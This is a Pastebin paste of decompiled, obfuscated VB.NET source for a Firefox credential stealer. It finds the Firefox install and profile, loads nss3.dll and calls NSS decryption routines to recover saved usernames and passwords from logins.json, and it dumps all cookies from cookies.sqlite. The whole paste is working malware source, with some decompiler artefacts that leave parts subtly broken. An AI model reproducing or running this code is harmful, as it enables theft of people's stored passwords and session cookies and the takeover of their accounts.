Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System
- Imports System.Collections.Generic
- Imports System.ComponentModel
- Imports System.Diagnostics
- Imports System.IO
- Imports System.Runtime.CompilerServices
- Imports System.Runtime.InteropServices
- Imports System.Text
- Imports Microsoft.Win32
- Public Module GClass42
- Shared Sub New()
- Try
- GClass42.directoryInfo_0 = GClass42.smethod_7()
- If GClass42.directoryInfo_0 Is Nothing Then
- Throw New NullReferenceException("Firefox is not installed, or the install path could not be located")
- End If
- GClass42.directoryInfo_1 = GClass42.smethod_5()
- If GClass42.directoryInfo_1 Is Nothing Then
- Throw New NullReferenceException("Firefox does not have any profiles, has it ever been launched?")
- End If
- GClass42.fileInfo_0 = GClass42.smethod_6(GClass42.directoryInfo_1, "logins.json")
- If GClass42.fileInfo_0 Is Nothing Then
- Throw New NullReferenceException("Firefox does not have any logins.json file")
- End If
- GClass42.fileInfo_1 = GClass42.smethod_6(GClass42.directoryInfo_1, "cookies.sqlite")
- If GClass42.fileInfo_1 Is Nothing Then
- Throw New NullReferenceException("Firefox does not have any cookie file")
- End If
- Catch ex_86 As Exception
- End Try
- End Sub
- Public Function smethod_0() As List(Of GClass50)
- Dim list As List(Of GClass50) = New List(Of GClass50)()
- Try
- GClass42.smethod_2(GClass42.directoryInfo_1, GClass42.directoryInfo_0)
- Dim gClass As GClass42.GClass44 = New GClass42.GClass44()
- Using Dim streamReader As StreamReader = New StreamReader(GClass42.fileInfo_0.FullName)
- Dim json As String = streamReader.ReadToEnd()
- gClass = GClass49.smethod_1(Of GClass42.GClass44)(json)
- End Using
- For Each current As GClass42.GClass43 In AddressOf gClass.logins
- Dim username As String = GClass42.smethod_13(AddressOf current.encryptedUsername)
- Dim password As String = GClass42.smethod_13(AddressOf current.encryptedPassword)
- Dim uri As Uri = AddressOf current.formSubmitURL
- list.Add(New GClass50() With { .URL = uri.AbsoluteUri, .Username = username, .Password = password, .Application = "Firefox" })
- Next
- Catch ex_DE As Exception
- End Try
- Return list
- End Function
- Public Function smethod_1() As List(Of GClass46)
- Dim list As List(Of GClass46) = New List(Of GClass46)()
- Dim gClass As GClass51 = New GClass51(GClass42.fileInfo_1.FullName)
- If Not gClass.method_9("moz_cookies") Then
- Throw New Exception("Could not read cookie table")
- End If
- Dim num As Integer = gClass.method_2()
- For i As Integer = 0 To num - 1
- Try
- Dim host As String = gClass.method_5(i, "host")
- Dim name As String = gClass.method_5(i, "name")
- Dim value As String = gClass.method_5(i, "value")
- Dim path As String = gClass.method_5(i, "path")
- Dim secure As Boolean = Not(gClass.method_5(i, "isSecure") = "0")
- Dim httpOnly As Boolean = Not(gClass.method_5(i, "isSecure") = "0")
- Dim num2 As Long = Long.Parse(gClass.method_5(i, "expiry"))
- Dim num3 As Long = GClass42.smethod_4(DateTime.Now)
- Dim expiresUTC As DateTime = GClass42.smethod_3(num2)
- Dim expired As Boolean = num3 > num2
- list.Add(New GClass46() With { .Host = host, .ExpiresUTC = expiresUTC, .Expired = expired, .Name = name, .Value = value, .Path = path, .Secure = secure, .HttpOnly = httpOnly })
- Catch ex_139 As Exception
- Return list
- End Try
- Next
- Return list
- End Function
- Private Function smethod_10(slot As Long, loadCerts As Boolean, wincx As Long) As Long
- Dim procAddress As IntPtr = GClass34.GetProcAddress(GClass42.intptr_0, "PK11_Authenticate")
- Dim [delegate] As GClass42.Delegate6 = CType(Marshal.GetDelegateForFunctionPointer(procAddress, GetType(GClass42.Delegate6)), GClass42.Delegate6)
- Return [delegate](slot, loadCerts, wincx)
- End Function
- Private Function smethod_11(arenaOpt As IntPtr, outItemOpt As IntPtr, inStr As StringBuilder, inLen As Integer) As Integer
- Dim procAddress As IntPtr = GClass34.GetProcAddress(GClass42.intptr_0, "NSSBase64_DecodeBuffer")
- Dim [delegate] As GClass42.Delegate7 = CType(Marshal.GetDelegateForFunctionPointer(procAddress, GetType(GClass42.Delegate7)), GClass42.Delegate7)
- Return [delegate](arenaOpt, outItemOpt, inStr, inLen)
- End Function
- Private Function smethod_12(ByRef data As GClass42.Struct13, ByRef result As GClass42.Struct13, cx As Integer) As Integer
- Dim procAddress As IntPtr = GClass34.GetProcAddress(GClass42.intptr_0, "PK11SDR_Decrypt")
- Dim [delegate] As GClass42.Delegate4 = CType(Marshal.GetDelegateForFunctionPointer(procAddress, GetType(GClass42.Delegate4)), GClass42.Delegate4)
- Return [delegate](data, result, cx)
- End Function
- Private Function smethod_13(cypherText As String) As String
- Dim stringBuilder As StringBuilder = New StringBuilder(cypherText)
- Dim value As Integer = GClass42.smethod_11(IntPtr.Zero, IntPtr.Zero, stringBuilder, stringBuilder.Length)
- Dim struct As GClass42.Struct13 = Nothing
- Dim struct2 As GClass42.Struct13 = CType(Marshal.PtrToStructure(New IntPtr(value), GetType(GClass42.Struct13)), GClass42.Struct13)
- If GClass42.smethod_12(struct2, struct, 0) = 0 AndAlso struct.int_2 <> 0 Then
- Dim array As Byte() = New Byte(struct.int_2 - 1) {}
- Marshal.Copy(New IntPtr(struct.int_1), array, 0, struct.int_2)
- Return Encoding.UTF8.GetString(array)
- End If
- Return Nothing
- End Function
- Private Sub smethod_2(firefoxProfilePath As DirectoryInfo, firefoxPath As DirectoryInfo)
- If New Version(FileVersionInfo.GetVersionInfo(firefoxPath.FullName + "\firefox.exe").FileVersion).Major < New Version("35.0.0").Major Then
- Return
- End If
- GClass34.LoadLibrary(firefoxPath.FullName + "\msvcr100.dll")
- GClass34.LoadLibrary(firefoxPath.FullName + "\msvcp100.dll")
- GClass34.LoadLibrary(firefoxPath.FullName + "\msvcr120.dll")
- GClass34.LoadLibrary(firefoxPath.FullName + "\msvcp120.dll")
- GClass34.LoadLibrary(firefoxPath.FullName + "\mozglue.dll")
- GClass42.intptr_0 = GClass34.LoadLibrary(firefoxPath.FullName + "\nss3.dll")
- Dim procAddress As IntPtr = GClass34.GetProcAddress(GClass42.intptr_0, "NSS_Init")
- Dim [delegate] As GClass42.Delegate3 = CType(Marshal.GetDelegateForFunctionPointer(procAddress, GetType(GClass42.Delegate3)), GClass42.Delegate3)
- [delegate](firefoxProfilePath.FullName)
- Dim slot As Long = GClass42.smethod_9()
- GClass42.smethod_10(slot, True, 0L)
- End Sub
- Private Function smethod_3(unixTime As Long) As DateTime
- Dim dateTime As DateTime = New DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc)
- Return dateTime.AddSeconds(CDec(unixTime))
- End Function
- Private Function smethod_4(value As DateTime) As Long
- Return CLng((value - New DateTime(1970, 1, 1, 0, 0, 0, 0).ToLocalTime()).TotalSeconds)
- End Function
- Private Function smethod_5() As DirectoryInfo
- Dim path As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\Mozilla\Firefox\Profiles"
- If Not Directory.Exists(path) Then
- Throw New Exception("Firefox Application Data folder does not exist!")
- End If
- Dim directoryInfo As DirectoryInfo = New DirectoryInfo(path)
- Dim directories As DirectoryInfo() = directoryInfo.GetDirectories()
- If directories.Length = 0 Then
- Throw New IndexOutOfRangeException("No Firefox profiles could be found")
- End If
- Return directories(0)
- End Function
- Private Function smethod_6(profilePath As DirectoryInfo, searchTerm As String) As FileInfo
- Dim files As FileInfo() = profilePath.GetFiles(searchTerm)
- Dim num As Integer = 0
- If 0 >= files.Length Then
- Throw New Exception("No Firefox logins.json was found")
- End If
- Return files(num)
- End Function
- Private Function smethod_7() As DirectoryInfo
- Using Dim registryKey As RegistryKey = If(AddressOf GClass14.Is64Bit, GClass15.smethod_1(RegistryHive.LocalMachine, "SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox"), GClass15.smethod_1(RegistryHive.LocalMachine, "SOFTWARE\Mozilla\Mozilla Firefox"))
- If registryKey Is Nothing Then
- Return Nothing
- End If
- Dim subKeyNames As String() = registryKey.GetSubKeyNames()
- If subKeyNames.Length = 0 Then
- Throw New IndexOutOfRangeException("No installs of firefox recorded in its key.")
- End If
- Using Dim registryKey2 As RegistryKey = registryKey.OpenSubKey(subKeyNames(0))
- Dim valueSafe As String = registryKey2.OpenReadonlySubKeySafe("Main").GetValueSafe("Install Directory", "")
- If String.IsNullOrEmpty(valueSafe) Then
- Throw New NullReferenceException("Install string was null or empty")
- End If
- GClass42.directoryInfo_0 = New DirectoryInfo(valueSafe)
- End Using
- End Using
- Return GClass42.directoryInfo_0
- End Function
- Private Function smethod_8(libPath As String) As IntPtr
- If String.IsNullOrEmpty(libPath) Then
- Throw New ArgumentNullException("libPath")
- End If
- Dim intPtr As IntPtr = GClass34.LoadLibrary(libPath)
- If intPtr = IntPtr.Zero Then
- Dim lastWin32Error As Integer = Marshal.GetLastWin32Error()
- Dim ex As Win32Exception = New Win32Exception(lastWin32Error)
- ex.Data.Add("LastWin32Error", lastWin32Error)
- Throw New Exception("can't load DLL " + libPath, ex)
- End If
- Return intPtr
- End Function
- Private Function smethod_9() As Long
- Dim procAddress As IntPtr = GClass34.GetProcAddress(GClass42.intptr_0, "PK11_GetInternalKeySlot")
- Dim [delegate] As GClass42.Delegate5 = CType(Marshal.GetDelegateForFunctionPointer(procAddress, GetType(GClass42.Delegate5)), GClass42.Delegate5)
- Return [delegate]()
- End Function
- Private directoryInfo_0 As DirectoryInfo
- Private directoryInfo_1 As DirectoryInfo
- Private fileInfo_0 As FileInfo
- Private fileInfo_1 As FileInfo
- Private intptr_0 As IntPtr
- <UnmanagedFunctionPointer(CallingConvention.Cdecl)>
- Private Delegate Function Delegate3(configdir As String) As Long
- <UnmanagedFunctionPointer(CallingConvention.Cdecl)>
- Private Delegate Function Delegate4(ByRef data As GClass42.Struct13, ByRef result As GClass42.Struct13, cx As Integer) As Integer
- <UnmanagedFunctionPointer(CallingConvention.Cdecl)>
- Private Delegate Function Delegate5() As Long
- <UnmanagedFunctionPointer(CallingConvention.Cdecl)>
- Private Delegate Function Delegate6(slot As Long, loadCerts As Boolean, wincx As Long) As Long
- <UnmanagedFunctionPointer(CallingConvention.Cdecl)>
- Private Delegate Function Delegate7(arenaOpt As IntPtr, outItemOpt As IntPtr, inStr As StringBuilder, inLen As Integer) As Integer
- Public Class GClass43
- Public Property encryptedPassword() As String
- Public Property encryptedUsername() As String
- Public Property encType() As Integer
- Public Property formSubmitURL() As String
- Public Property guid() As String
- Public Property hostname() As String
- Public Property httpRealm() As Object
- Public Property id() As Integer
- Public Property passwordField() As String
- Public Property timeCreated() As Long
- Public Property timeLastUsed() As Long
- Public Property timePasswordChanged() As Long
- Public Property timesUsed() As Integer
- Public Property usernameField() As String
- <CompilerGenerated()>
- Private int_0 As Integer
- <CompilerGenerated()>
- Private int_1 As Integer
- <CompilerGenerated()>
- Private int_2 As Integer
- <CompilerGenerated()>
- Private long_0 As Long
- <CompilerGenerated()>
- Private long_1 As Long
- <CompilerGenerated()>
- Private long_2 As Long
- <CompilerGenerated()>
- Private object_0 As Object
- <CompilerGenerated()>
- Private string_0 As String
- <CompilerGenerated()>
- Private string_1 As String
- <CompilerGenerated()>
- Private string_2 As String
- <CompilerGenerated()>
- Private string_3 As String
- <CompilerGenerated()>
- Private string_4 As String
- <CompilerGenerated()>
- Private string_5 As String
- <CompilerGenerated()>
- Private string_6 As String
- End Class
- Public Class GClass44
- Public Property disabledHosts() As List(Of Object)
- Public Property logins() As List(Of GClass42.GClass43)
- Public Property nextId() As Integer
- Public Property version() As Integer
- <CompilerGenerated()>
- Private int_0 As Integer
- <CompilerGenerated()>
- Private int_1 As Integer
- <CompilerGenerated()>
- Private list_0 As List(Of GClass42.GClass43)
- <CompilerGenerated()>
- Private list_1 As List(Of Object)
- End Class
- Private Structure Struct13
- Public int_0 As Integer
- Public int_1 As Integer
- Public int_2 As Integer
- End Structure
- End Module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement